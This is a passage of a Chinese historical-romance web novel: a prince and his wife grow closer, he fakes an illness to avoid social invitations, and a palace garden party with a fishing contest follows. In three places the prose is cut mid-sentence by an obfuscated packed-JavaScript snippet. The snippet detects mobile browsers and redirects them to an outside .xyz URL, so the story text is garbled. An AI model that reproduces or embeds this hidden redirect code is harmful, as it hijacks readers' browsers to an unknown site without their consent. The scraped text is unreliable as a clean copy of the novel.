感受到有个温软的事物若有似无地拂过自己的唇角,姜同云紧紧地揪住了身后的靠枕。 这个吻结束得很快。 谢怀雵松开手,淡然地坐回对面,微笑着表示肯定:“确如夫人所言。” 姜同云的心里简直山呼海啸。 他怎么可以这么淡定!!!这不对劲!!! 说好的扳回一城呢,怎么感觉自己又要输了啊!!! 不行,不能输!今天说什么也要赢! 想到这里,姜同云强压下心里的慌乱和害羞,抬起下巴不屑一顾地说道:“就这?谢怀雵,难道你会不会亲吻吗?” 49. 交流 话一说出口,姜同云就在心里狠狠给自己来了两拳。 你在说什么啊姜同云! 这种时候你争什么面子啊!现在是在接近密闭的马车里,等会要是收不了场,难道你要跳车逃跑吗?! 果然,冲动是魔鬼。 清醒过来的姜同云准备马上表演一个滑跪认错。 然而谢怀雵却先动了。 他看着姜同云,伸手抚上自己的嘴唇。 姜同云只觉得那只手好像是在自己的脸上游走。 “那个——”她硬着头皮想要道歉,却听谢怀雵轻轻笑了一下。 “我确实……不擅此道。还请夫人,教一教我。” 啊?啊??啊??? 他在说什么? 姜同云还没来得及做出反应,谢怀雵已经握住她的手臂。只轻轻一拉,便将她抱到自己膝上。 鼓噪的心跳声中,温热的唇再一次覆上姜同云。 还是一样短暂而轻柔的吻。但这一次结束后,谢怀雵没有马上拉开距离。 他贴着姜同云的脸颊,轻轻摩挲着。两人呼吸交缠,彼此的鼻尖上都被对方的气息包裹。 姜同云觉得自己都快窒息了。 偏偏谢怀雵还不肯放过她。他语调喑哑:“夫人教教我,接下去要怎么做?” 缺少氧气的大脑已经开始晕眩。 中午饮下的那几杯酒水似乎也开始发力。 在一种奇妙的迷蒙感中,晕乎乎的姜同云按住了谢怀雵的下颌:“张嘴。” 然后她主动吻了上去。 ***** 马车在齐王府门前停了下来。 侍卫连唤了两声,里面才传来回应。 不多时,姜同云先从里面钻了出来。 不等侍卫放好脚踏,她就提着裙摆直接从车上跳了下来。刚一站稳,姜同云就快步进了门。 “王妃?王妃!”侍卫追了两步,可他们家王妃头也不回,还偷偷加快了前行的步伐。 侍卫又调头回到马车旁:“殿下,您和王妃这是?” 车里传来了谢怀雵低沉的声音:“没事。” 侍卫更加摸不着头脑了:“那您,不下车吗?” “……我再坐会儿。” 马车里,谢怀雵捂着嘴在发呆。 原来亲吻可以是这样的。 追逐、嬉戏、依偎……到最后沉沦其中。从姜同云主动吻上他的那一刻起,谢怀雵的心情也跟着从喜悦到震惊再到迷恋,最后抛弃理智,遵从本能。 如果不是侍卫出声惊动了他俩,他们可能还会更进一步…… 谢怀雵摸了摸逐渐发热的脸,深深叹了口气。 活了二十二年,这是他第二次无法控制自己的情绪。 上一次还是在边境,他在一场和晋朝的小规模冲突里杀了一名敌军。那是他第一次沾上鲜血。冲突平息后,谢怀雵策马沿着黄沙道狂奔了大半个时辰,才稍稍冷静下来。 同样是失去自控能力,这一次的感觉却和上次很不一样。 至少这一次的谢怀雵并不排斥这种失控感,甚至还觉得有些遗憾。 要是回来的路再长一些就好了。 不过谢怀雵又有些庆幸回家的路不够长。 不管怎么说,他都不希望两人的第一次草率地发生在马车里。 想到这里,谢怀雵深深吸了一口气,撩开了一侧的帘子。 凉爽的风吹了进来。 再坐一会吧,等自己彻底平静下来再下去。 不然……真就要丢人了。 那头的姜同云埋着头,无视掉府里的仆从侍女,一路冲回自己屋子。 正在做绣活的木樨被突然冲进来的姜同云吓了一跳:“姑、王妃?!” 姜同云在桌边坐下,提起茶壶倒了杯水,吨吨吨地喝了下去。 木樨仔细打量了姜同云一番:“您怎么了?” 姜同云连喝了三杯水才缓过劲来:“没事没事。” 木樨面露怀疑之色:“真的没事?您的头发怎么有些乱了?还有,您早上用的明明不是这个颜色的口脂啊?” 木樨一说口脂,姜同云脸上又是一热。 她嘴上哪里还有什么口脂,刚刚在马车里就全给吃完了。 未免木樨再问,姜同云把茶壶往她那头一推:“再去给我拿些茶水来。我……中午多饮了两杯,口渴得紧。” 听到姜同云这么说,木樨立刻放下手上的东西站了起来:“好。我再去给您煮点解酒汤来。” 木樨走后,姜同云拍了拍自己还有些发热的脸,叹了口气。 不会真的喝醉了吧,不然自己刚刚会怎么这么冲动啊! 但……她其实又并不后悔自己的冲动。 或许刚刚亲上谢怀雵的时候,理智回笼的姜同云是有点后悔的。但抱着她的谢怀雵根本没有给她退缩的机会,极力地挽留她这个突然闯入的入侵者。 然后……姜同云的脑子就又开始混乱了。 两人起初还都有些生疏,姜同云好像还不小心磕碰到了谢怀雵的嘴唇。但他们很快就找到了合适的节奏,然后在这种节奏中,像是溺水一样,抓着对方一起下沉。 这种近乎缺氧的体验,居然意外地让姜同云觉得不错。 意识到自己竟然还在回味马车里那个失控的吻,姜同云赶紧甩了甩脑袋:别想了别想了,不然等下木樨回来肯定要发现问题的! 她站起身来,就着盆架上的凉水洗了把脸。 可惜,这一次凉水也不能解救姜同云。 脑袋里的记忆没有跟着脸部的温度一起下降,反而在凉水的刺激下,让姜同云回忆起了更多的细节。 当天晚上,分房睡的齐王和齐王妃不约而同地梦到了一些旖旎场景。 ***** 天气热起来后,金陵各府之间的走动也就愈加频繁了。 这天上午,姜同云坐在自己的小书房里,翻看着这些天收到的拜帖和邀请函。 “赏花、赏花、游湖、诗会。”姜同云把看过的帖子按照关系的亲疏远近分三堆,“最近这宴会真是越来越多了。” “是呢。”木樨帮着她把余下还没看过的分好类,“我怎么觉得,这金陵一年到头的都没个休息的时候。” “可不是吗。”姜同云看得头都大了,“这些人都是谁啊,怎么不管认识不认识都给我发帖子呢。” 烦恼之间,就听门口响起了扣门声。 姜同云抬头一看,谢怀雵正倚着门框朝她微笑:“夫人在看什么?” 端午那天之后,他俩之间的关系确实悄无声息地拉近了许多。 两个人现在还真有了一点谈恋爱的感觉,只不过谢怀雵表现得光明正大,姜同云多少还有些偷偷摸摸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809273|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见是他来,姜同云便招了招手:“你快来给我看看。这些人都是谁啊,和咱们有没有什么亲属关系?” 谢怀雵喜欢她这样自然地把他俩叫成“咱们”。 他走到桌旁,捡起最上面的一张:“我看看。都水使者……这好像是义阳侯夫人娘家那边的亲戚。” “这都什么八竿子打不着的。”姜同云从他手里拿过那份帖子,放到桌子最边缘的那堆里去,“回了回了。” 谢怀雵又拿起第二份来看了看:“宁远将军,这位是梁国夫人嫂嫂的堂兄弟。” 姜同云犹豫了一下,还是把这份放到了边缘那堆:“见都没见过,也算了吧。” 木樨很有眼色地退了两步,将书桌边的位置让给了谢怀雵。 谢怀雵拉过一张椅子坐了下来,继续翻看帖子。 “中书令。这位杨老大人的次子,正是大公主的夫婿。” 姜同云皱起了眉:“驸马家啊……” 这个亲戚关系,就有些近了。 而且中书令职位很高,本来就也不好拒绝。 见她眉头紧皱,谢怀雵托着下巴看着她:“夫人不想去?” “是不太想。”姜同云看了看边上,见没有旁人,连木樨都已经退了出去,这才放心大胆地说出心里话来,“我跟他们见都没见过,去了也是傻坐着。上回去梁国公府的宴会,我连客人都认不全。要不是他们家两位姑娘有心照顾,我恐怕要当场出丑呢。” “而且去参加了他们的宴会,咱们总是要回请的吧。一来一回的,麻烦事可太多了。” “我现在就盼着快点把今年熬过去。等去了封地,就没那么多事情了。” 谢怀雵往前凑了凑:“夫人不想去赴宴的话,我倒是有一个办法。” “快说快说!” 谢怀雵闭上眼,又往姜同云的方向靠近了一些。 姜同云可太清楚这人想要什么了。 打从那天在马车里亲过一回后,谢怀雵就见缝插针地索吻。姜同云一开始还会不好意思,现在都被他弄得有些习以为常了。 这也算是一种脱敏训练吧。 姜同云再次扫视一圈,确认周围没人后,凑上前去快速地在他唇角亲了一口。 谢怀雵露出了满意的笑容。 现在两人私下相处的时候,他是越来越不端着齐王的架子了。 每次从姜同云那得到奖励,哪怕只是一句随口的夸奖,他都会直白地表达自己的喜悦。 虽然这种表现和他最初留给姜同云的印象大相径庭,但姜同云并不讨厌这样的他。 甚至还会觉得他有些可爱。 所以姜同云也在不自觉地纵容着他。 她推了推看着自己一直在笑的谢怀雵:“这下能说了吧!” 谢怀雵握住了她的手:“不想去的话,咱们就把这些帖子全推了。” 姜同云瞪大了眼睛:“全推了?!” “嗯。” “这算什么办法?”真要这么做了,只怕别人要在背后说好多闲话。 “直接推了当然不行。”谢怀雵压低声音,“但要是我旧疾复发,夫人忧心不已,不想离开我的身边,那大家一定都会体谅夫人的。” 姜同云挑了挑眉:“你要装病啊?我可提醒你,府里还有两个太医在呢。” “夫人信我。我一定不会露馅的!” 50. 生病 次日一早,齐王半夜里旧疾复发的消息就传进了宫里。 今日没有朝会,太子在宫中和陛下议过国事后就出宫往齐王府上来了。 因他坚持要探视谢怀雵,管家就将他请进了谢怀雵居住的正院里。 屋子里伺候的人不多,除了齐王妃外,就只有寥寥四五人。先前陛下派来的太医也在其中。 听到他来,坐在床边的齐王妃立刻站了起来。 太子连忙拦住她:“王妃不必多礼。” 他细细打量了一下这位才过门没多久的齐王妃。 前几回见她,都是在比较正式的场合。太子虽然只简单看了两眼,但还记得这位齐王妃是位容色丰润、鲜活灵动的美人。 谁想今日再看,太子竟觉得她苍白憔悴了许多。 想来是为了怀雵的身体忧虑过度所致。 太子在心里叹了口气,安慰道:“王妃不必忧心,怀雵一定会康复的。” 宽慰过齐王妃,太子走到床边。 谢怀雵似乎是睡着了,但明显睡得不太安慰。不仅眉头紧锁,梦中还不时地咳嗽两声。 太子看向站在屋里的两位太医:“齐王的病情如何?” 虽然他的语气不算严苛,但太医还是忍不住擦了擦冷汗:“回禀太子殿下,齐王……这是旧疾复发。” “我自然知道他这是旧疾。”太子忍不住皱起了眉,“我是问你他情况如何?” 太医心里也是有苦说不出。 齐王这病来得突然,昨天早上他们请平安脉的时候还风平浪静,谁知道晚上才刚睡下就出了事。 从脉象来看,他这回犯病倒也不太严重。但两剂药喝下去却一点也不见效,就一直这么有一搭没一搭地咳着。 两位太医刚刚也商量过了,觉得齐王这次复发也不算什么大事,只要安静调养几日就行。 可现在太子问起来,他们却不能拿这话来回啊。 人家弟弟病了,躺在床上动不了,你还跟人家说他弟弟病得不重。信不信太子立刻就让他俩滚回老家种地去啊! 太医正在斟酌怎么回话,床上的谢怀雵先醒了:“……太子殿下?您怎么来了?” 太子连忙在床边坐下:“怀雵你醒了?你现在觉得如何?” 谢怀雵捂着嘴轻咳两声:“没有什么大碍。惊动您来,怀雵实在说过意不去。” “都是自家兄弟,你说的这是什么话。”太子替他顺了顺气,“要不要我回宫请父皇再派个太医来给你瞧瞧?” 谢怀雵摇了摇头:“不用这么麻烦。两位太医瞧过了,说只要静养几日就行。” “这样啊……”太子沉吟片刻,点了点头,“那也行吧。” 他又坐了一会,确认谢怀雵这次犯病没有上回那么凶险后,才起身告辞。 齐王妃送太子到了院门口。 “王妃不必再送。这个时候,我想怀雵会更希望你能陪在他身边。” 顿了顿,太子又道:“这几日要辛苦王妃了。要是怀雵需要什么,或是他病情有所反复,王妃尽管派人到东宫来。” 齐王妃面露感激之色:“多谢太子殿下。” ***** 一送走太子,姜同云就快速溜回谢怀雵房里。 见她回来,谢怀雵推说自己要休息,让旁人都退了下去,只留姜同云陪着。 “如何,太子没有生疑吧。” “你连两个太医都骗过去了,太子又怎么会起疑?”说着,姜同云来回打量了一番躺在床上的谢怀雵,“你这么熟练,肯定不是第一次装了吧?” 谢怀雵心里一紧,连忙摆出乖巧无辜的表情来:“确实不是第一次。不过也是因为我先前受伤损了底子,所以才能装得这么像的。不然哪能瞒过两位医术精湛的太医呢?” 果然,一提他之前受伤的事情,姜同云就露出了心疼怜惜之色。 她在床边坐了下来,轻轻替他顺了顺气:“以后要是真的不舒服,你可不能装作没事瞒着我。” 谢怀雵心头一暖,握着姜同云的手点头保证:“好。” 姜同云观察了一下他的脸色:“热不热?” “是有点。” 于是她帮着掀开了被角:“装病这法子倒是立竿见影,就是得委屈你在床上躺几天。” 谢怀雵笑了笑:“有夫人陪着我,也算不得委屈。再说了,现在太子都来过了,消息肯定很快就能传出去,咱们的目的已经达成,我明天就可以再‘稍稍康复’一些了。” 姜同云笑着戳了他两下:“你这个‘病’可真是顺心如意。” 到了第二天,谢怀雵还真就向太医提出,觉得自己的病情有所好转。 太医仔细地给他诊过脉,又观察了好一会,觉得他这次的病情确实已经控制住了,就也同意让他下床走动。 谢怀雵好转的消息送到宫里去后,帝后跟太子都很是松了一口气。 宫城内。 陛下听完内监汇报,终于舒展眉头,露出了一个笑容来:“去年那次,怀雵病得那么严重,朕还以为他今年又要折腾上一回。好在这次没什么大碍,也是先祖保佑了。” 邓皇后也跟着笑了:“臣妾倒觉得,许是齐王妃照顾得好呢。” 陛下想了想,点头道:“也说不准。朕记得钦天监先前算过,说他俩八字极合。没准就是取了个好媳妇,让怀雵的身子都变好了。” “要是淮阳侯的孙女也能这样旺一旺老五就好了。” 邓皇后脸上的笑容略微有些挂不住了:谢怀晟都已经是亲王了,还想怎么旺他? 陛下不知道邓皇后心里在想什么。他纯粹就是想到去年谢怀晟惹的祸,觉得自己这个儿子目前虽然好用,但性格方面确实有所欠缺。 到底也是自己的儿子,即使要拿他当太子的磨刀石,陛下也希望他将来能够全身而退。 可惜就他一贯的行事作风看来,这个难度有点太高了。 只盼着他成亲以后,能稍稍收敛一些吧。 想到这里,陛下转向邓皇后:“朕打算过两日就下明旨给赵王赐婚。皇后那边准备得如何了?” 邓皇后咽下心中那口气,浅笑着说道:“该备的东西都已经备得差不多了。有太子妃和含昭帮忙分担,一定不会耽误赵王的婚事。” “如此甚好。” ***** 五月底,陛下果然降下明旨,给赵王聘了淮阳侯府的千金做王妃。 淮阳侯府内一派欢腾鼓舞。 淮阳侯钟冀看着喜形于色的三个儿子,重重地叹了一口气。 长子钟砀看着眉头紧锁的父亲,下意识地收起了笑容:“父亲因何叹息?” “……自是为了阿蘅的婚事。”钟冀沉默片刻,方才作答。 “阿蘅马上就要做赵王妃了!父亲不替她高兴就罢了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811986|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么还要叹气呢?” 就是因为孙女要被嫁给赵王,所以他才要叹气的啊! 看着面露不解的三个儿子,钟冀只觉得脑袋生疼。 他费力地揉了揉太阳穴,问道:“今日跟着圣旨一并送来的这些恩赏,你们觉得陛下是出于何意?” 三兄弟对视几眼,最后还是老大试探着开了口:“因为陛下看重咱们家?我看今日送来的赏赐之多,只比当年聘太子妃的时候略少了一些,想来陛下应当很是满意阿蘅的。” 钟冀觉得自己的脑袋更疼了。 聘亲王妃的恩赏素有先例,就是额外加恩也有定则。远的不说,去年陛下定了永平乡主做齐王妃的时候,加赏的东西就完全符合旧规。 怎么偏偏到了自家这里,陛下就要多给这么多呢? 只怕额外多出来的这些东西,是陛下提前给钟家的补偿啊。 那阿蘅将来—— 一想到乖巧懂事的小孙女,钟冀就觉得胸口生疼。 可惜他的三个儿子根本就没往这个方向上想。 他们杂杂拉拉地提了好些缘由,但都脱不出“陛下看重钟家”和“陛下看重赵王”这两点。 钟冀是越听越觉得绝望。 怒火攻心之下,他两眼一翻,竟直接晕了过去。 ***** 齐王府中。 姜同云闲得无聊,拿着木樨做到一半的绣活打发时间。谢怀雵就坐在她身旁,面前摆着棋盘正在跟自己对弈。 “陛下果真选了淮阳侯府的姑娘来做赵王妃呢。”姜同云落下一针,给绣布上的枇杷添了一层薄薄的橘色。 “我来之前听人说,淮阳侯接下圣旨后喜不自禁,高兴得直接晕过去了。” “真的假的?”姜同云闻言,立刻放下针线扭过头来,“他的年纪不小了吧,可别真给乐出事来。” “自然是真的,陛下都已经派了太医去瞧了。”谢怀雵捏着黑子思忖片刻,方才落下,“不过我觉得,他还真不一定是高兴坏的。” 姜同云笑着打趣道:“不是高兴坏的,难不成还能是气坏了的?” “这可难说。” 谢怀雵抬起头来:“虽然我与这位淮阳侯不熟,不过他年轻时和邢国公一起在边境共事过好些年。邢国公评价他,深谋远虑、进退有度,不仅谨慎持重,更有洞察人心之才。” 姜同云愣了愣:“……所以你是觉得,淮阳侯也看出来陛下的意图了?” 谢怀雵笑着点了点头。 “淮阳侯解甲已有十余年了。他虽然在爵位上略逊梁国公一筹,但论起军功、资历还有辈分,那可都是稳压梁国公的。” “可他回到金陵后,就以伤病为由,拒绝了陛下安排的官职。这么多年来,虽然他的三个儿子都各自领着一份职务,但他就一直躲在府里,从来不对朝政多发一语。” “只是这一次,他怕是躲不过去了。”谢怀雵说着,又在棋盘上落下一枚白子。 姜同云想了想,赞同地叹了口气。 现在淮阳侯府已经被陛下强行绑到了赵王这艘破船上,再想离开那可就难咯。 不过事情也不是全无转机的。 “只要淮阳侯仔细约束子侄,不要过多地掺和进太子和赵王的争斗中去,应当也不会惹出什么大祸来。就是……” 谢怀雵接过她的话头:“就是不知道,他还能为自己家再撑几年。” 51. 比赛 进入六月后,各府间的宴请渐渐少了下来。 赶在六月中的一个好天气里,太子妃在金陵一处皇家园林里设了一场宴会。 因是太子妃相邀,加上最近谢怀雵也确实“康复”了,姜同云便收了帖子,前去赴宴。 说是自家女眷之间的小宴,太子妃就也只请了几位公主王妃前来。 姜同云到达园子时,恰好遇到吴王妃在前头下车。 看见她来,吴王妃笑着跟她打了招呼:“你也刚到?” 姜同云被木樨扶着下了车:“我没迟到吧?” “还早着呢!”吴王妃摆了摆手,走到姜同云身边和她并肩而行,压低声音道,“我可打听过了,今天这场宴会,太子妃还把咱们那没过门的妯娌也给请来了。” 姜同云愣了一下才反应过来她说的是谁:“淮阳侯家的那位姑娘?” “除了她还有谁?”吴王妃挥手示意不需要侍女引路,自己带着姜同云熟门熟路地朝里走,顺便继续小声念叨着。 “听说陛下当时送去淮阳侯府的赏赐只比当年聘太子妃的时候略少了一些。太子妃今天把那位钟姑娘请过来,八成就是给她设了场鸿门宴。” “慎言。”姜同云扯了吴王妃一下。 吴王妃立刻转头四下看了看,见只有她俩的侍女跟着,悬起的心又落了回去。 姜同云轻声道:“太子妃不是那样的人。或许她只是想让我们先见一见这位钟姑娘呢。” 吴王妃打了个哈哈:“我就这么随便一猜嘛。” 姜同云不赞同地摇了摇头。 她俩都没再继续这个话题。吴王妃又另起了一个话头,开始给姜同云介绍这处园子。 一路行至园子东侧,姜同云远远地就看见了一处人工开凿的小湖。临湖摆了好几张坐席,已经有四五人站在湖边聊天了。 吴王妃拉着姜同云走上前去,笑着跟众人告了个罪:“看来我们来晚了。” 大公主笑着说道:“倒也不算最晚。四妹还没来呢,等会儿可得罚她酒。” 二公主也附和道:“那丫头肯定又是到了临出门前才开始挑衣服首饰。今日怎么也得罚她连喝三杯,好让她长长记性!” 说笑间,四公主急匆匆地赶了过来。 远远地听见两个姐姐说要罚自己喝酒,四公主连忙求饶:“我的好姐姐、好嫂嫂!我昨夜才喝醉了一回,今早起来头还疼着呢,可别再罚我了!” 大公主在她腮上捏了一把:“昨晚做什么去了?怎么还喝醉了。” “昨天驸马的侄子过生辰,摆了场家宴。我一时高兴,就多饮了两杯。”四公主抱着大公主的胳膊晃了晃,“好姐姐,你就别罚我了。” 一直笑而不语的太子妃这时开口替四公主解围道:“今天钟姑娘在,就给四公主留点面子吧。而且真灌出一只醉猫来,咱们还不好收拾她了呢。” 四公主闻言,连忙顺着太子妃的话又讨了一回饶。大公主和二公主就也顺着台阶下来,不再替罚酒的事。 人已到齐,太子妃便宣布开宴了。 姜同云在自己的席位上坐了下来。 她左手边吴王妃,右手边是谢含昭,对面恰好是被安排在二公主和四公主之间的那位钟姑娘。 姜同云不由细细打量了她一番。 其实刚刚大公主和二公主还在说罚酒的事情时,姜同云就已经开始留意这位未来的赵王妃了。 她生得秀美纤细、五官精致,无疑也是一位极出挑的美人。只是她的气质过于娴静柔和,更像是文官家养出来的文静姑娘。 要是她和吴王妃站在一起,旁人一定会觉得吴王妃才是武将家的女儿。 不过刚才太子妃拿她来帮四公主说话的时候,姜同云注意到这位钟姑娘不仅丝毫没有羞怯之意,反而还隐隐蹙起了眉尖,似乎是有些…… 无奈? 那种表情一闪而逝,姜同云也没法确定她的真实想法。 但不管怎么说,想到这样漂亮的一个姑娘马上就要嫁给赵王那种人,姜同云多少都有些替她惋惜。 思绪回转间,身旁的谢含昭突然叫了她两声:“姜姐姐!姜姐姐!” 姜同云茫然地转过头去:“啊?” “行酒令,轮到你了!”谢含昭提醒道。 已经开始玩行酒令了?可是姜同云光顾着看那位钟姑娘,刚刚她们说了什么都没听见呢! 谢含昭看她一派迷茫,就知道她刚刚是走神了。 小姑娘想偷偷提示一番,却被坐在对面的二公主直接打断。 “不行不行!”二公主连忙摆手,阻止自己妹妹帮着姜同云作弊,“齐王妃都停了这么久了,得罚她一杯!” 谢含昭无奈地看向姜同云:姜姐姐你自己看着办吧。 姜同云只能举起杯盏来,饮了一杯。 好在今日宴席上准备的都是清甜的果酒。 见她乖乖喝了一整杯,二公主便也不再起哄。坐在上首的太子妃也笑吟吟地抬了下手,示意开始下一轮。 这一回,姜同云可不敢再走神了。 八人又玩了几轮,各有输赢。四公主和吴王妃文采不行,都被二公主揪着饮了不少;大公主、姜同云和谢含昭三人倒是还行,各自被罚了一两回。场上竟然只有太子妃和那位钟家姑娘一次没输。 太子妃是文官家的女儿,曾祖父曾在太宗朝时官拜太师,祖父是当朝宰辅,父亲也官至一部尚书,她玩起这种文字令简直信手拈来,输了才是奇怪的。 倒是那位钟家姑娘,虽说文采不如太子妃,但她思维敏捷,一直稳扎稳打,就是挑剔如二公主都没能找出她的错来。 反倒是二公主自己,一直忙着抓别人挨罚,以至于分了心神。几轮下来也喝了几杯酒下肚。 眼见四公主已经开始揉太阳穴了,太子妃便让人撤了杯盏:“咱们再玩些别的吧。” 宴上的餐点早就已经上完,众人也都吃得差不多了,于是纷纷点头同意。 想了想,太子妃道:“这湖虽然不大,但里面养了好些锦鲤。我让人备了鱼竿,要不咱们一块去钓会儿鱼?” 锦鲤意头好,比赛钓锦鲤这样的活动自然也是金陵宴上的一种常见游戏方式。 二公主闻言,立刻摇起了头:“我可坐不住,就不去了。” 太子妃笑着点了点头:“也行。我让人在那头亭子里备了叶子牌,我再寻两个侍女陪你一起打牌玩吧。” “打牌好。那我就去那头,顺便看你们钓。” 眼见自己妹妹起身,大公主也跟着站了起来:“我也去打牌。四妹妹似乎有些醉了,还是别靠近湖边了,也跟着我们一块去亭子里吧。” 四公主真是有些醉了。听到自家大姐的话,她按着额角站了起来,顿了一拍才说道:“……行。” “还有人要一起去打牌的吗?”二公主问道。 见没人再出声回应,三位公主就结伴离去了。 她们走后,太子妃笑着站了起来:“既然如此,那就只拿四副渔具过来吧。我也不是很会钓鱼,干脆给你们当裁判好了。今日谁钓得最多最重的人,我出钱送她一份奖品,如何?” “不行不行!”谢含昭连忙表示反对。 “哪里不行了?”吴王妃看向谢含昭,“难不成你想做裁判?那就得你出钱发奖励了哦!” “才不是呢。”谢含昭一把抱住了姜同云的胳膊,“钓鱼可以,但是比赛不行!” “姜姐姐钓鱼太厉害了,我可不敢跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818974|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她比!” 姜同云笑着揉了揉谢含昭的脑袋:“那我不参加比赛就是了。” 真要是比钓鱼,那其他人确实就太吃亏了。 “真的假的啊?”吴王妃面露怀疑之色。 太子妃回忆了一下。她好像是听皇后娘娘提起过,说这位齐王妃特别擅长钓鱼。 不管怎么说,今天是请人过来玩的。要是这齐王妃真的这么厉害,一人独霸这场游戏,多少会败了别人的兴。 更何况今天来的还有那位钟姑娘。不管怎么样,太子妃都要照顾到她的面子和情绪。 既然齐王妃知情识趣,主动提出不参加比赛,不如顺着台阶下来。 思索片刻后,太子妃道:“既然如此,那不如让齐王妃来做这个裁判。奖励照样由我来出,咱们余下的人各凭本事,如何?” 安排好比赛的事情后,侍女拿来了四副渔具,架在湖边。 四位选手分别就位。 姜同云站得稍远一些,见她们做好了准备,便示意侍女燃起三支香,插入香炉之中。 比赛正式开始。 太子妃、吴王妃和钟姑娘三人立刻把鱼钩抛进了湖里。 看着她们生疏的动作,姜同云忍不住在心里叹了口气:看来今天的冠军是含昭没跑了。 被裁判预发冠军头衔的谢含昭小朋友,此时正认真地按照她姜师父先前传授过的技巧,往湖里打窝。 抛下两团饵料后,谢含昭不紧不慢地开始搭配起挂饵来。 坐在她旁边的吴王妃发出了无情的嘲笑:“五公主,等你弄完这一套,我们都要上鱼了!” “咱们是比谁钓鱼多,又不是比谁钓鱼快。”谢含昭泰然自若地准备着饵料,丝毫没把吴王妃的话放在心上。 嗯,这里的饵料种类还是太少了,跟姜姐姐那儿的根本就没法比嘛。 吴王妃还想再说两句。但看谢含昭不为所动,她又只能悻悻地扭过头去,开始盯着湖面瞧。 这一瞧,就是一刻多钟。 眼见刚刚打窝的地方冒起了泡泡,谢含昭这才把手中鱼竿抛了出去。 看小姑娘这么沉稳,一点也不紧张,观赛的姜同云暗暗点了点头:含昭这个稳得住的性子,果然是钓鱼的好苗子。 只是谢含昭这鱼钩才一入水,姜同云就听见另一边那边传来了低低的惊呼声。 她循声望去,就见太子妃抛下的鱼钩已经微微晃动了起来。 姜同云缓步行至太子妃身旁:“先别提竿。等咬实了再拉。” 太子妃略有些紧张地握了握竿:“好。” 眼见鱼漂又往下沉了沉,姜同云判断鱼已经彻底咬钩,刚要提醒太子妃起竿,一名侍女却匆匆忙忙地跑了过来。 “太子妃,太子殿下有急事寻您过去!” 听到这话,太子妃迟疑地看了一眼下沉的鱼漂,最终还是放下了手中鱼竿。 她站起身来,说了一句继续钓鱼不用中止比赛后,就跟着侍女离开了。 太子妃都让继续比了,大家就仍在湖边静静坐着。 她走后没多久,钟家姑娘那边的鱼竿也有了动静。 钟姑娘似乎是有点钓鱼经验的,虽然收竿的动作不太熟练,但也稳稳当当地钓上了这场比赛的第一条鱼。 见她把那条红色的小锦鲤收入鱼篓,姜同云笑着提醒其余选手:“还有两炷香的时间哦。” 说话间,那边的谢含昭也提上来一尾红色的小锦鲤。 眼看两边的人都开始上鱼,自己手里的竿子却没有丝毫动静,吴王妃终于坐不住了。 她把手中鱼竿往地上一放,嚷嚷着就站了起来:“不比了不比了,我实在坐不住了!你们俩继续,我上那边看她们打牌去了!” 52. 输赢 吴王妃一溜烟地就跑了,姜同云根本都没来得及喊她。 眼见她走远,姜同云无奈地转向剩下来的两位选手:“你们还比吗?” 谢含昭看了看她未来的五嫂:“……比吧。这一人一条的,也没法分胜负啊。” 钟家姑娘点了点头:“继续比吧。横竖坐着也没事干,不如钓鱼打发时间。” “就是。”谢含昭点了点头,“看她们打牌还不如钓鱼好玩!” “那行。”姜同云道:“你们继续钓吧,我在这里陪着你们。” 于是两人又开始专心投入到手中鱼竿上。 许是谢含昭之前打的窝起了作用,也有可能是因为人少了竞争也变小了,鱼情很快就好了起来。两人都开始接二连三地上鱼。 看着她俩此起彼伏地提竿,姜同云也有些手痒起来。 她在岸边坐下,随手拿起被吴王妃扔下的鱼竿:“我不跟你们比,就随便钓一会儿。” “好好好,姜姐姐快来。”谢含昭单手持竿,腾出一只手来朝她招手,“咱俩坐近一些!” “咱俩挨这么近,你就不怕我把你的鱼都吸引走吗?”姜同云笑着打趣道。 “才不会呢。姜姐姐只会带更多的鱼过来!” “哈,原来是想用我作弊!”姜同云闻言,戳了戳谢含昭的脑门,“我可是裁判,你快收起那些小心思!” “嘿嘿。”谢含昭捂着脑门吐了吐舌头。 为了表示自己的公平,姜同云把位置挪到了谢含昭和钟家姑娘中间:“快专心钓鱼吧,刚刚钟姑娘又钓上来一条了。” “哦哦!”谢含昭连忙转过头去,专心致志地盯起湖面来。 时间剩余不多,姜同云也懒得再搞什么打窝。 她随手挂了条蚯蚓在鱼钩上,轻巧地往湖面一抛。 鱼钩一入水,周围就冒起了许多小泡泡。 没几分钟,姜同云就拉上了第一条鱼。 钟家姑娘讶异地看向她:“齐王妃还真是……” “所以我才不要跟姜姐姐比的嘛。”谢含昭探出头去同她说话,“我都怀疑姜姐姐是什么猫仙转世,钓起鱼来是一抓一个准。” 